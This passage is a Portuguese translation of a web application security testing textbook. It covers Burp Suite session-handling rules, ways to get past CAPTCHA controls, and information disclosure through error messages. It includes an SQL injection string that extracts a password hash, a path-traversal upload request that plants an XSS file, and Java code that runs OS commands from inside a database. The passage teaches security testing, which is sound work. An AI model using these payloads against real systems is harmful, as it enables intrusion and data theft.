O principal componente do suporte ao tratamento de sessões do Burp Suite é o recurso de definir regras de tratamento de sessões, que utilizam o cookie jar e solicitam macros para lidar com barreiras específicas à automação.

Cada regra inclui um escopo (ao que a regra se aplica) e ações (o que a regra faz). Para cada solicitação de saída que o Burp faz, ele determina quais das regras definidas estão no escopo da solicitação e executa todas as ações dessas regras em ordem.

O escopo de cada regra pode ser definido com base em qualquer um ou em todos os recursos a seguir da solicitação que está sendo processada, conforme mostrado na Figura 14-13:

- A ferramenta Burp que está fazendo a solicitação
- O URL da solicitação
- Os nomes dos parâmetros na solicitação

Cada regra pode executar uma ou mais ações, conforme mostrado na Figura 14-14, incluindo as seguintes:

- Adicione cookies do pote de cookies de manipulação de sessão.
- Definir um cookie ou valor de parâmetro específico.
- Verificar se a sessão atual é válida e executar subações tradicionalmente com base no resultado.
- Executar uma macro.
- Solicite ao usuário a recuperação da sessão no navegador.

Todas essas ações são altamente configuráveis e podem ser combinadas de maneiras arbitrárias para lidar com praticamente qualquer mecanismo de tratamento de sessão. A possibilidade de executar uma macro e atualizar os valores de parâmetros e cookies especificados com base no resultado permite que você faça login automaticamente em um aplicativo quando estiver desconectado. A possibilidade de solicitar a recuperação da sessão no navegador permite trabalhar com mecanismos de login que envolvem a digitação de um número de um token físico ou a solução de um quebra-cabeça CAPTCHA (descrito na próxima seção).

Figura 14-13: Configuração do escopo de uma regra de tratamento de sessão

Figura 14-14: Configuração de ações para uma regra de tratamento de sessão

Ao criar várias regras com diferentes escopos e ações, você pode definir uma hierarquia de comportamento que o Burp aplicará a diferentes URLs e parâmetros. Por exemplo, suponha que você esteja testando um aplicativo que frequentemente encerra sua sessão em resposta a solicitações inesperadas e também faz uso liberal de um token anti-CSRF chamado `csrftoken`. Nessa situação, você poderia definir as seguintes regras, conforme mostrado na Figura 14-15:

- Para todos os pedidos, adicione cookies do pote de cookies do Burp.
- Para solicitações ao domínio do aplicativo, valide se a sessão atual com o aplicativo ainda está ativa. Se não estiver, execute uma macro para fazer login novamente no aplicativo e atualize o jarro de cookies com o token de sessão resultante.
- Para solicitações ao aplicativo que contenham o parâmetro `csrftoken`, primeiro execute uma macro para obter um valor `csrftoken` válido e use-o ao fazer a solicitação.

Figura 14-15: Um conjunto de regras de tratamento de sessão para lidar com o encerramento da sessão e os tokens anti-CSRF usados por um aplicativo

A configuração necessária para aplicar a funcionalidade de tratamento de sessão do Burp aos recursos de aplicativos do mundo real geralmente é complexa e erros são facilmente cometidos. O Burp fornece uma função de rastreamento para solucionar problemas de configuração do tratamento de sessão. Essa função mostra todas as etapas executadas quando a Burp aplica regras de tratamento de sessão a uma solicitação, permitindo que você veja exatamente como as solicitações estão sendo atualizadas e emitidas e identifique se sua configuração está funcionando da maneira que você pretendia. O rastreador de tratamento de sessão é mostrado na Figura 14-16.

Figura 14-16: O rastreador de tratamento de sessão do Burp, que permite monitorar e depurar suas regras de tratamento de sessão

Depois de configurar e testar as regras e as macros necessárias para trabalhar com o aplicativo que você está segmentando, é possível continuar os testes manuais e automáticos normalmente, como se os obstáculos aos testes não existissem.

Controles CAPTCHA

Os controles CAPTCHA são projetados para impedir que determinadas funções do aplicativo sejam usadas de forma automatizada. Eles são mais comumente empregados em funções de registro de contas de e-mail e publicação de comentários em blogs para tentar reduzir o spam. CAPTCHA é um acrônimo para Completely Automated Public Turing test to tell Computers and Humans Apart (Teste de Turing Público Completamente Automatizado para Diferenciar Computadores e Humanos). Esses testes normalmente assumem a forma de um quebra-cabeça que contém uma palavra de aparência distorcida, que o usuário deve ler e inserir em um campo do formulário que está sendo enviado. Os quebra-cabeças também podem envolver o reconhecimento de animais e plantas específicos, orientação de imagens e assim por diante.

Os quebra-cabeças CAPTCHA devem ser fáceis de resolver para um ser humano, mas difíceis para um computador. Devido ao valor monetário que os remetentes de spam têm ao contornar esses controles, ocorreu uma corrida armamentista na qual os quebra-cabeças CAPTCHA típicos se tornaram cada vez mais difíceis de serem resolvidos por um ser humano, conforme mostrado na Figura 14-17. À medida que as capacidades de resolução de CAPTCHA de humanos e computadores convergem, é provável que esses quebra-cabeças se tornem cada vez mais ineficazes como defesa contra spam, e podem ser abandonados. Eles também apresentam problemas de acessibilidade que ainda não foram totalmente resolvidos.

Figura 14-17: Um quebra-cabeça CAPTCHA

Os quebra-cabeças CAPTCHA podem ser contornados de várias maneiras, sendo que apenas algumas delas são aplicáveis no contexto da realização de testes de segurança.

Ataque às implementações de CAPTCHA

O lugar mais proveitoso para procurar maneiras de contornar um controle CAPTCHA é a implementação de como o quebra-cabeça é entregue ao usuário e como o aplicativo lida com a solução do usuário.

Um número surpreendente de implementações de CAPTCHA expõe a solução do quebra-cabeça para o cliente em formato textual. Isso pode ocorrer de várias maneiras:

- A imagem do quebra-cabeça é carregada por meio de um URL que inclui a solução como parâmetro, ou o nome da imagem é definido como a solução CAPTCHA.
- A solução do quebra-cabeça é armazenada em um campo de formulário oculto.
- A solução do quebra-cabeça aparece em um comentário HTML ou em

outro local para fins de depuração.

Nessas situações, é fácil para um ataque com script recuperar a resposta que contém a solução do quebra-cabeça e enviá-la na próxima solicitação de ataque.

EXPERIMENTE!

```
http://mdsec.net/feedback/12/
http://mdsec.net/feedback/24/
http://mdsec.net/feedback/31/
```

Outro erro comum nas implementações de CAPTCHA é que um quebra-cabeça pode ser resolvido manualmente em uma única ocasião e a solução pode ser reproduzida em várias solicitações. Normalmente, cada quebra-cabeça deve ser válido apenas para uma única tentativa, e o aplicativo deve descartá-lo quando uma tentativa de solução for recebida. Se isso não for feito, é fácil resolver um quebra-cabeça uma vez da maneira normal e depois usar a solução para executar um número ilimitado de solicitações automatizadas.

EXPERIMENTE!

```
http://mdsec.net/feedback/39/
```

OBSERVAÇÃO Alguns aplicativos têm um caminho de código deliberado que contorna o CAPTCHA para permitir o uso por determinados processos automatizados autorizados. Nesses casos, muitas vezes é possível contornar o CAPTCHA simplesmente não fornecendo o nome do parâmetro relevante.

Solução automática de quebra-cabeças CAPTCHA

Em princípio, a maioria dos tipos de quebra-cabeças CAPTCHA pode ser resolvida por um computador e, na prática, muitos algoritmos de quebra-cabeças de alto nível foram derrotados dessa forma.

Para enigmas padrão que envolvem uma palavra distorcida, a solução do enigma envolve as seguintes etapas:

1. Remoção de ruído da imagem
2. Segmentação da imagem em letras individuais
3. Reconhecimento da letra em cada segmento

Com a tecnologia atual, os computadores são bastante eficientes na remoção de ruídos e no reconhecimento de letras que foram segmentadas corretamente. Os desafios mais significativos surgem com a segmentação da imagem em letras, especialmente quando as letras se sobrepõem e estão muito distorcidas.

Para quebra-cabeças simples nos quais a segmentação em letras é trivial, é provável que algum código desenvolvido internamente possa ser usado para remover o ruído da imagem e passar o texto para uma biblioteca de OCR (reconhecimento óptico de caracteres) existente para reconhecer as letras. Para quebra-cabeças mais complexos, nos quais a segmentação é um grande desafio,

Vários projetos de pesquisa comprometeram com sucesso os quebra-cabeças CAPTCHA de aplicativos da Web de alto nível.

Para outros tipos de quebra-cabeças, é necessária uma abordagem diferente, adaptada à natureza das imagens do quebra-cabeça. Por exemplo, os quebra-cabeças que envolvem o reconhecimento de animais ou a orientação de objetos precisam usar um banco de dados de imagens reais, que são reutilizadas em vários quebra-cabeças. Se o banco de dados for suficientemente pequeno, um invasor poderá resolver manualmente um número suficiente de imagens do banco de dados para viabilizar um ataque. Mesmo que ruídos e outras distorções sejam aplicados às imagens, para fazer com que cada imagem reutilizada pareça diferente para um computador, os hashes de imagens difusas e a comparação de histogramas de cores podem ser usados com frequência para combinar a imagem de um determinado quebra-cabeça com outra que já tenha sido resolvida manualmente.

Os quebra-cabeças Asirra da Microsoft usam um banco de dados com vários milhões de imagens de cães e gatos, derivadas de um diretório real de animais de estimação que podem ser adotados. Para um invasor com um incentivo monetário grande o suficiente, até mesmo esse banco de dados poderia ser resolvido ecologicamente usando solucionadores humanos, conforme descrito na próxima seção.

Em todos esses casos, vale a pena observar que, para contornar efetivamente um controle CAPTCHA, não é necessário conseguir resolver os quebra-cabeças com precisão perfeita. Por exemplo, um ataque que resolvesse apenas 10% dos quebra-cabeças corretamente ainda poderia ser altamente eficaz na realização de testes de segurança automatizados ou na entrega de spam, conforme o caso. Um exercício automatizado que normalmente recebe dez vezes mais solicitações ainda é mais rápido e menos doloroso do que o exercício manual correspondente.

EXPERIMENTE!

http://mdsec.net/feedback/8/

Uso de solucionadores humanos

Os criminosos que precisam resolver um grande número de quebra-cabeças CAPTCHA às vezes empregam técnicas que não são aplicáveis no contexto de testes de segurança de aplicativos da Web:

- Um site aparentemente benigno pode ser usado para induzir *proxies CAPTCHA* humanos a resolver quebra-cabeças que são passados pelo aplicativo que está sendo visado. Normalmente, o invasor oferece o incentivo de um prêmio de concurso ou acesso gratuito a pornografia para atrair os usuários. Quando um usuário preenche o formulário de registro, é apresentado a ele um quebra-cabeça CAPTCHA que foi obtido em tempo real do aplicativo de destino. Quando o usuário resolve o quebra-cabeça, sua solução é retransmitida para o aplicativo de destino.
- Os invasores podem pagar *drones CAPTCHA* humanos em países em

desenvolvimento para resolver um grande número de quebra-cabeças. Algumas empresas oferecem esse serviço, que custa menos de US$ 1 para cada 1.000 quebra-cabeças resolvidos.

Resumo

Quando se ataca um aplicativo da Web, a maioria das tarefas necessárias precisa ser adaptada ao comportamento desse aplicativo e aos métodos pelos quais ele permite que você interaja com ele e o manipule. Por isso, muitas vezes você trabalhará manualmente, enviando solicitações criadas individualmente e analisando as respostas do aplicativo.

As técnicas descritas neste capítulo são conceitualmente intuitivas. Elas envolvem o aproveitamento da automação para tornar essas tarefas personalizadas mais fáceis, mais rápidas e mais eficazes. É possível automatizar praticamente qualquer procedimento manual que você queira executar usando o poder e a confiabilidade do seu próprio computador para atacar os defeitos e os pontos fracos do seu alvo.

Em alguns casos, existem obstáculos que impedem a aplicação direta de técnicas automatizadas. No entanto, na maioria dos casos, eles podem ser superados refinando suas ferramentas automatizadas ou encontrando um ponto fraco nas defesas do aplicativo.

Embora conceitualmente simples, o uso eficaz da automação personalizada requer experiência, habilidade e imaginação. Você pode usar ferramentas para ajudar ou pode criar suas próprias ferramentas. Mas não há substituto para a contribuição humana inteligente que distingue um hacker de aplicativos da Web realmente bem-sucedido de um mero amador. Quando tiver dominado todas as técnicas descritas nos outros capítulos, você deverá voltar a este tópico e praticar as diferentes maneiras pelas quais a automação personalizada pode ser usada para aplicar essas técnicas.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Cite três identificadores de acertos ao usar a automação para enumerar identificadores em um aplicativo.
2. Para cada uma das categorias a seguir, identifique uma string de fuzz que possa ser usada com frequência para identificá-la:
   (a) Injeção de SQL
   (b) Injeção de comando do sistema operacional
   (c) Percurso de caminho
   (d) Inclusão de arquivo de script
3. Quando você está fazendo fuzzing em uma solicitação que contém vários parâmetros diferentes, por que é importante executar solicitações visando cada parâmetro por vez e deixando os outros inalterados?

4. Você está formulando um ataque automatizado para aplicar força bruta a uma função de login para descobrir credenciais adicionais da conta. Você descobre que o aplicativo retorna um redirecionamento HTTP para o mesmo URL, independentemente de você enviar credenciais válidas ou inválidas. Nessa situação, qual é o meio mais provável que você pode usar para detectar ocorrências?
5. Quando você estiver usando um ataque automatizado para coletar dados de dentro do aplicativo, muitas vezes descobrirá que as informações nas quais está interessado são precedidas por uma string estática que permite capturar facilmente os dados que a seguem. Por exemplo:

```
<input type="text" name="LastName" value="
```

Em outras ocasiões, você pode descobrir que esse não é o caso e que os dados que precedem as informações de que você precisa são mais variáveis. Nessa situação, como você pode criar um ataque automatizado que ainda atenda às suas necessidades?

CAPÍTULO

15

Exploração de informações Divulgação

O Capítulo 4 descreveu várias técnicas que você pode usar para mapear um aplicativo-alvo e obter uma compreensão inicial de como ele funciona. Essa metodologia envolveu a interação com o aplicativo de maneiras amplamente benignas para catalogar seu conteúdo e funcionalidade, determinar as tecnologias em uso e identificar a principal superfície de ataque.

Este capítulo descreve as maneiras pelas quais você pode extrair mais informações de um aplicativo durante um ataque real. Isso envolve principalmente a interação com o aplicativo de maneiras inesperadas e mal-intencionadas e a exploração de anormalidades no comportamento do aplicativo para extrair informações valiosas para você. Se for bem-sucedido, esse ataque poderá permitir que você recupere dados confidenciais, como credenciais de usuário, obtenha uma compreensão mais profunda de uma condição de erro para ajustar seu ataque, descubra mais detalhes sobre as tecnologias em uso e mapeie a estrutura e a funcionalidade internas do aplicativo.

Exploração de mensagens de erro

Muitos aplicativos da Web retornam mensagens de erro informativas quando ocorrem eventos inesperados. Elas podem variar de simples mensagens incorporadas que revelam apenas a categoria do erro a informações de depuração completas que fornecem muitos detalhes sobre o estado do aplicativo.

A maioria dos aplicativos é submetida a vários tipos de testes de usabilidade antes da implementação. Esses testes normalmente identificam a maioria das condições de erro que podem surgir quando o aplicativo está sendo usado normalmente. Portanto, essas condições geralmente são tratadas de uma maneira elegante que não envolve o retorno de nenhuma mensagem técnica para o usuário. No entanto, quando um aplicativo está sob ataque ativo, é provável que surja uma variedade muito maior de condições de erro, o que pode resultar no retorno de informações mais detalhadas ao usuário. Até mesmo os aplicativos mais críticos para a segurança, como os usados por bancos on-line, retornam uma saída de depuração altamente detalhada quando uma condição de erro suficientemente incomum é gerada.

Mensagens de erro do script

Quando ocorre um erro em uma linguagem de script da Web interpretada, como o VBScript, o aplicativo normalmente retorna uma mensagem simples que revela a natureza do erro e, possivelmente, o número da linha do arquivo em que o erro ocorreu. Por exemplo:

```
Erro de tempo de execução do Microsoft
VBScript 800a0009 Subscrito fora do
intervalo: [número -1]
/register.asp, linha 821
```

Normalmente, esse tipo de mensagem não contém informações confidenciais sobre o estado do aplicativo ou sobre os dados que estão sendo processados. No entanto, ela pode ajudá-lo a restringir o foco do seu ataque. Por exemplo, quando você estiver inserindo diferentes cadeias de ataque em um parâmetro específico para sondar vulnerabilidades comuns, poderá encontrar a seguinte mensagem:

```
Erro de tempo de execução do Microsoft VBScript
'800a000d' Incompatibilidade de tipo: ' [string:
"'"]'
/scripts/confirmOrder.asp, linha 715
```

Essa mensagem indica que o valor que você modificou provavelmente está sendo atribuído a uma variável numérica, e você forneceu uma entrada que não pode ser atribuída dessa forma porque contém caracteres não numéricos. Nessa situação, é muito provável que não se ganhe nada enviando cadeias de ataque não numéricas como esse parâmetro. Portanto, para muitas categorias de bugs, é melhor você ter como alvo outros parâmetros.

Uma outra maneira pela qual esse tipo de mensagem de erro pode ajudá-lo é oferecendo uma melhor compreensão da lógica que é implementada no aplicativo do lado do servidor. Como a mensagem divulga o número da linha em que o erro ocorreu, você poderá confirmar se duas solicitações malformadas diferentes estão acionando o mesmo erro ou erros diferentes. Você também pode ser capaz de

para determinar a sequência em que diferentes parâmetros são processados, enviando entradas incorretas em vários parâmetros e identificando o local em que ocorre um erro. Ao manipular sistematicamente diferentes parâmetros, você poderá mapear os diferentes caminhos de código que estão sendo executados no servidor.

Traços de pilha

A maioria dos aplicativos da Web é escrita em linguagens mais complexas do que simples scripts, mas que ainda são executadas em um ambiente de execução gerenciado, como Java, C# ou Visual Basic .NET. Quando ocorre um erro não tratado nessas linguagens, é comum ver rastreamentos de pilha completos sendo retornados ao navegador. Um rastreamento de pilha é uma mensagem de erro estruturada que começa com uma descrição do erro real. Isso é seguido por uma série de linhas que descrevem o estado da pilha de chamadas de execução quando o erro ocorreu. A linha superior da pilha de chamadas mostra a função que gerou o erro, a próxima linha mostra a função que invocou a função anterior e assim por diante na pilha de chamadas até a linha A hierarquia de chamadas de função está esgotada.

A seguir, um exemplo de um rastreamento de pilha gerado por um aplicativo ASP.NET:

```
[HttpException (0x80004005): Cannot use a leading ... to exit above the
top directory].
   System.Web.Util.UrlPath.Reduce(String path) +701
   System.Web.Util.UrlPath.Combine(String basepath, String relative)+304
   System.Web.UI.Control.ResolveUrl(String relativeUrl) +143
   PBSApp.StatFunc.Web.MemberAwarePage.Redirect(String url) +130
   PBSApp.StatFunc.Web.MemberAwarePage.Process() +201
   PBSApp.StatFunc.Web.MemberAwarePage.OnLoad(EventArgs e)
   System.Web.UI.Control.LoadRecursive() +35
   System.Web.UI.Page.ProcessRequestMain() +750

Informações sobre a versão: Versão do Microsoft .NET Framework:
1.1.4322.2300; Versão do ASP.NET: 1.1.4322.2300
```

Esse tipo de mensagem de erro fornece uma grande quantidade de informações úteis que podem ajudá-lo a ajustar seu ataque contra o aplicativo:

- Ele geralmente descreve o motivo exato da ocorrência de um erro. Isso pode permitir que você ajuste sua entrada para contornar a condição de erro e avançar seu ataque.
- A pilha de chamadas normalmente faz referência a vários componentes de biblioteca e de código de terceiros que estão sendo usados no aplicativo. Você pode examinar a documentação desses componentes para entender o comportamento pretendido e as suposições. Você também pode criar seu próprio

implementação e teste para entender como ele lida com entradas inesperadas e identificar possíveis vulnerabilidades.

- A pilha de chamadas inclui os nomes dos componentes de código proprietário que estão sendo usados para processar a solicitação. O esquema de nomenclatura desses componentes e as inter-relações entre eles podem permitir que você deduza detalhes sobre a estrutura interna e a funcionalidade do aplicativo.
- O rastreamento de pilha geralmente inclui números de linha. Assim como as mensagens de erro de script simples descritas anteriormente, elas podem permitir que você investigue e compreenda a lógica interna de componentes individuais do aplicativo.
- A mensagem de erro geralmente inclui informações adicionais sobre o aplicativo e o ambiente em que ele está sendo executado. No exemplo anterior, você pode determinar a versão exata da plataforma ASP.NET que está sendo usada. Isso permite que você investigue a plataforma em busca de vulnerabilidades novas ou conhecidas, comportamento anômalo, erros comuns de configuração e assim por diante.

Mensagens informativas de depuração

Alguns aplicativos geram mensagens de erro personalizadas que contêm uma grande quantidade de informações de depuração. Geralmente, elas são implementadas para facilitar a depuração durante o desenvolvimento e o teste e, com frequência, contêm muitos detalhes sobre o estado do tempo de execução do aplicativo. Por exemplo:

```
-----------------------------------------------------------------
* * * S E S S Ã O * * *
-----------------------------------------------------------------
i5agor2n2pw3gp551pszsb55
SessionUser.Sessions App.FEStructure.Sessions
SessionUser.Auth 1
SessionUser.BranchID 103
SessionUser.CompanyID 76
SessionUser.BrokerRef RRadv0
SessionUser.UserID 229
SessionUser.Training 0
SessionUser.NetworkID 11
SessionUser.BrandingPath FE LoginURL
/Default/fedefault.aspx ReturnURL
../default/fedefault.aspx
SessionUser.Key f7e50aef8fadd30f31f3aea104cef26ed2ce2be50073c SessionClient.ID
306
SessionClient.ReviewID 245
UPriv.2100
```

```
SessionUser.NetworkLevelUser 0
UPriv.2200 SessionUser.BranchLevelUser
0
SessionDatabase fd219.prod.wahh-bank.com
```

Os itens a seguir são comumente incluídos nas mensagens de depuração detalhadas:

- Valores das principais variáveis de sessão que podem ser manipuladas por meio da entrada do usuário
- Nomes de host e credenciais para componentes de back-end, como bancos de dados
- Nomes de arquivos e diretórios no servidor
- Informações incorporadas em tokens de sessão significativos (consulte o Capítulo 7)
- Chaves de criptografia usadas para proteger os dados transmitidos pelo cliente (consulte o Capítulo 5)
- Informações de depuração para exceções que surgem em componentes de código nativo, incluindo os valores dos registros da CPU, o conteúdo da pilha e uma lista das DLLs carregadas e seus endereços base (consulte o Capítulo 16)

Quando esse tipo de funcionalidade de relatório de erros está presente em um código de produção ativo, isso pode significar um ponto fraco crítico na segurança do aplicativo. Você deve analisá-la com atenção para identificar quaisquer itens que possam ser usados para avançar ainda mais no seu ataque e quaisquer maneiras de fornecer informações criadas para manipular o estado do aplicativo e controlar as informações recuperadas.

Mensagens do servidor e do banco de dados

Mensagens de erro informativas geralmente são retornadas não pelo próprio aplicativo, mas por algum componente de back-end, como banco de dados, servidor de e-mail ou servidor SOAP. Se ocorrer um erro completamente não tratado, o aplicativo normalmente responde com um código de status HTTP 500 e o corpo da resposta pode conter mais informações sobre o erro. Em outros casos, o aplicativo pode lidar com o erro de forma elegante e retornar uma mensagem personalizada ao usuário, às vezes incluindo informações sobre o erro geradas pelo componente de back-end. Em algumas situações, a própria divulgação de informações pode ser usada como um canal para um ataque. As informações divulgadas por um aplicativo em uma mensagem de depuração ou exceção geralmente não são intencionais e, como resultado, os procedimentos de segurança da organização podem ignorar completamente a existência da divulgação.

O erro retornado pode permitir uma série de outros ataques, conforme descrito nas seções a seguir.

Uso da divulgação de informações para promover um ataque

Quando um ataque específico é lançado contra um componente de back-end do servidor, é comum que esse componente forneça feedback direto sobre os erros encontrados. Isso pode ajudá-lo a ajustar o ataque. As mensagens de erro do

banco de dados geralmente contêm

informações úteis. Por exemplo, eles geralmente revelam a consulta que gerou o erro, permitindo que você ajuste um ataque de injeção de SQL:

```
Falha ao recuperar a linha com a instrução - SELECT object_data FROM
deftr.tblobject WHERE object_id = 'FDJE00012' AND project_id = 'FOO' and
1=2--'
```

Consulte o Capítulo 9 para obter uma metodologia detalhada que descreve como desenvolver ataques a bancos de dados e extrair informações com base em mensagens de erro.

Ataques de script entre sites em mensagens de erro

Conforme descrito no Capítulo 12, a proteção contra scripts entre sites é uma tarefa árdua, que exige a identificação de cada local de saída dos dados fornecidos pelo usuário. Embora a maioria das estruturas codifique automaticamente os dados em HTML ao relatar erros, isso não é de forma alguma universal. As mensagens de erro podem aparecer em vários locais, muitas vezes incomuns, em uma resposta HTTP. No `HttpServletResponse`
Chamada `.sendError()` usada pelo Tomcat, os dados de erro também fazem parte da resposta cabeçalho:

```
HTTP/1.1 500 Erro geral ao acessar o servidor
Doc10083011: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1105
Data: Sat, 23 Apr 2011 08:52:15 GMT
Conexão: fechada
```

Um invasor que tenha controle sobre a cadeia de caracteres de entrada `Doc10083011` poderia usar caracteres de retorno de carro e realizar um ataque de injeção de cabeçalho HTTP ou um ataque de script entre sites na resposta HTTP. Mais detalhes podem ser encontrados aqui:

```
http://www.securityfocus.com/archive/1/495021/100/0/threaded
```

Frequentemente, as mensagens de erro personalizadas são destinadas a um destino não HTML, como um console, mas são informadas erroneamente ao usuário em uma resposta HTTP. Nessas situações, o scripting entre sites costuma ser facilmente explorável.

Oráculos de descriptografia na divulgação de informações

O Capítulo 11 deu um exemplo de como um "oráculo de criptografia" não intencional poderia ser aproveitado para descriptografar cadeias de caracteres apresentadas ao usuário em formato criptografado. O mesmo problema pode se aplicar à divulgação de informações. O Capítulo 7 deu um exemplo de um aplicativo que fornecia um link de download criptografado para acesso a um arquivo. Se um arquivo tivesse sido movido ou excluído, o aplicativo informava que o arquivo não poderia ser baixado. Obviamente, a mensagem de erro continha a informação descriptografada do arquivo

portanto, qualquer "nome de arquivo" criptografado poderia ser fornecido ao link de download, resultando em um erro.

Nesses casos, a divulgação de informações resultou do abuso de feedback deliberado. Também é possível que a divulgação de informações seja mais acidental se os parâmetros forem descriptografados e, em seguida, usados em várias funções, qualquer uma das quais pode registrar dados ou gerar mensagens de erro. Um exemplo encontrado pelos autores foi um aplicativo de fluxo de trabalho complexo que fazia uso de parâmetros criptografados transmitidos pelo cliente. Ao trocar os valores padrão usados para `dbid` e `nome do grupo`, o aplicativo respondeu com um erro:

```
java.sql.SQLException: O ouvinte recusou a conexão com o seguinte
erro: ORA-12505, TNS:listener does not currently know of SID given in
connect descriptor O descritor de conexão usado
pelo cliente era: 172.16.214.154:1521:docs/londonoffice/2010/general
```

Isso proporcionou uma visão considerável. Especificamente, `dbid` era, na verdade, um SID criptografado para uma conexão com um banco de dados Oracle (o descritor de conexão tem o formato *Server*:*Port*:*SID*), e `grouphome` era um caminho de arquivo criptografado.

Em um ataque análogo a muitos outros ataques de divulgação de informações, o conhecimento do caminho do arquivo forneceu as informações necessárias para realizar um ataque de manipulação do caminho do arquivo. Fornecendo exatamente três caracteres de passagem de caminho em um nome de arquivo e navegando em uma estrutura de diretório semelhante, foi possível fazer upload de arquivos contendo scripts mal-intencionados diretamente no espaço de trabalho de outro grupo:

```
POST /dashboard/utils/fileupload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://wahh/dashboard/common/newnote
Accept-Language: en-GB
Content-Type: multipart/form-data; boundary=---------7db3d439b04c0
Accept-Encoding: gzip, deflate
Host: wahh
Content-Length: 8088
Conexão proxy: Keep-Alive

-------7db3d439b04c0
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-------7db3d439b04c0
Content-Disposition: form-data; name="uploadedfile"; filename="../../../
newportoffice/2010/general/xss.html"
Content-Type: text/html
<html><body><script>...
...
```

ETAPAS DO HACK

1. Quando estiver sondando o aplicativo em busca de vulnerabilidades comuns, enviando sequências de ataque criadas em diferentes parâmetros, sempre monitore as respostas do aplicativo para identificar quaisquer mensagens de erro que possam conter informações úteis.

   Tentativa de forçar uma resposta de erro do aplicativo fornecendo strings de dados criptografados no contexto errado ou executando ações em recursos que não estão no estado correto para lidar com a ação.

2. Esteja ciente de que as informações de erro que são retornadas na resposta do servidor podem não ser renderizadas na tela do navegador. Uma maneira eficiente de identificar muitas condições de erro é pesquisar cada resposta bruta em busca de palavras-chave que geralmente estão contidas nas mensagens de erro. Por exemplo:
   - erro
   - exceção
   - ilegal
   - inválido
   - falhar
   - pilha
   - acesso
   - diretório
   - arquivo
   - não encontrado
   - varchar
   - ODBC
   - SQL
   - SELECIONAR
3. Quando você enviar uma série de solicitações modificando parâmetros em uma solicitação básica, verifique se a resposta original já contém alguma das palavras-chave que você está procurando para evitar falsos positivos.
4. Você pode usar a função Grep do Burp Intruder para identificar rapidamente qualquer ocorrência de palavras-chave interessantes em qualquer uma das respostas geradas por um determinado ataque (consulte o Capítulo 14). Quando forem encontradas correspondências, revise manualmente as respostas relevantes para determinar se alguma informação de erro útil foi retornada.

DICA Se você estiver visualizando as respostas do servidor no navegador, saiba que o Internet Explorer, por padrão, oculta muitas mensagens de erro e as substitui por uma página genérica. Você pode desativar esse comportamento escolhendo Ferramentas ➢ Opções da Internet e, em seguida, escolhendo a guia Avançado.

Uso de informações públicas

Devido à enorme variedade de tecnologias e componentes de aplicativos Web em uso comum, você deve esperar encontrar mensagens incomuns que nunca viu antes e que podem não indicar imediatamente a natureza do erro que o aplicativo apresentou. Nessa situação, muitas vezes é possível obter mais informações sobre o significado da mensagem em várias fontes públicas. Geralmente, uma mensagem de erro incomum é o resultado de uma falha em uma API específica. A pesquisa do texto da mensagem pode levá-lo à documentação dessa API ou a fóruns de desenvolvedores e outros locais onde o mesmo problema ocorreu. é discutido.

Muitos aplicativos empregam componentes de terceiros para executar tarefas comuns específicas, como pesquisas, carrinhos de compras e funções de feedback do site. Todas as mensagens de erro geradas por esses componentes provavelmente surgiram em outros aplicativos e provavelmente já foram discutidas em outro lugar.

Alguns aplicativos incorporam código-fonte que está disponível publicamente. Ao pesquisar expressões específicas que aparecem em mensagens de erro incomuns, você pode descobrir o código-fonte que implementa a função relevante. Em seguida, você pode analisá-lo para entender exatamente qual processamento está sendo realizado na sua entrada e como você pode manipular o aplicativo para explorar uma vulnerabilidade.

ETAPAS DO HACK

1. Procure o texto de qualquer mensagem de erro incomum usando mecanismos de pesquisa padrão. Você pode usar vários recursos de pesquisa avançada para restringir seus resultados. Por exemplo:

   ```
   "unable to retrieve" filetype:php
   ```

2. Analise os resultados da pesquisa, procurando por qualquer discussão sobre a mensagem de erro e por outros sites em que a mesma mensagem tenha aparecido. Outros aplicativos podem produzir a mesma mensagem em um contexto mais detalhado, permitindo que você entenda melhor que tipo de condições causam o erro. Use o cache do mecanismo de pesquisa para recuperar exemplos de mensagens de erro que não aparecem mais no aplicativo ativo.

3. Use a pesquisa de código do Google para localizar qualquer código disponível publicamente que possa ser responsável por uma determinada mensagem de erro. Procure trechos de mensagens de erro que possam estar codificados no código-fonte do aplicativo. Você também pode usar vários recursos de pesquisa avançada para especificar a linguagem de código e outros detalhes, se forem conhecidos. Por exemplo:

   ```
   unable\ to\ retrieve lang:php package:mail
   ```

4. Se você tiver obtido rastreamentos de pilha que contenham os nomes de componentes de código de bibliotecas e de terceiros, pesquise esses nomes em ambos os tipos de mecanismos de pesquisa.

Mensagens de erro informativas de engenharia

Em algumas situações, pode ser possível criar sistematicamente condições de erro de modo a recuperar informações confidenciais dentro da própria mensagem de erro. Uma situação comum em que essa possibilidade surge é quando você pode fazer com que o aplicativo tente realizar alguma ação inválida em um item específico de dados. Se a mensagem de erro resultante revelar o valor desses dados e você puder fazer com que itens interessantes de informações sejam processados dessa forma, talvez seja possível para explorar esse comportamento e extrair dados arbitrários do aplicativo.

As mensagens de erro verbais de conectividade de banco de dados aberto (ODBC) podem ser aproveitadas em um ataque de injeção de SQL para recuperar os resultados de consultas arbitrárias ao banco de dados. Por exemplo, o SQL a seguir, se injetado em uma cláusula `WHERE`, faria com que o banco de dados convertesse a senha do primeiro usuário na tabela de usuários em um número inteiro para realizar a avaliação:

```
' and 1=(select password from users where uid=1)--
```

Isso resulta na seguinte mensagem de erro informativa:

```
Erro: Falha na conversão ao converter o valor varchar
'37CE1CCA75308590E4D6A35F288B58FACDBB0841' para o tipo de dados int.
```

EXPERIMENTE

http://mdsec.net/addressbook/32

Uma maneira diferente de usar esse tipo de técnica é quando um erro de aplicativo gera um rastreamento de pilha que contém uma descrição do erro, e você pode criar uma situação em que informações interessantes sejam incorporadas à descrição do erro.

Alguns bancos de dados oferecem um recurso para criar funções definidas pelo usuário escritas em Java. Ao explorar uma falha de injeção de SQL, você poderá criar sua própria função para executar tarefas arbitrárias. Se o aplicativo retornar mensagens de erro para o navegador, você poderá lançar uma exceção Java de dentro da sua função contendo dados arbitrários que você precisa recuperar. Por exemplo, o código a seguir executa o comando `ls` do sistema operacional e, em seguida, gera uma exceção que contém a saída do comando. Isso retorna um rastreamento de pilha para o navegador, cuja primeira linha contém uma listagem de diretórios:

```
ByteArrayOutputStream baos = new ByteArrayOutputStream(); try
{
    Processo p = Runtime.getRuntime().exec("ls");
    InputStream is = p.getInputStream();
    int c;
    while (-1 != (c = is.read()))
        baos.write((byte) c);
}
```

```
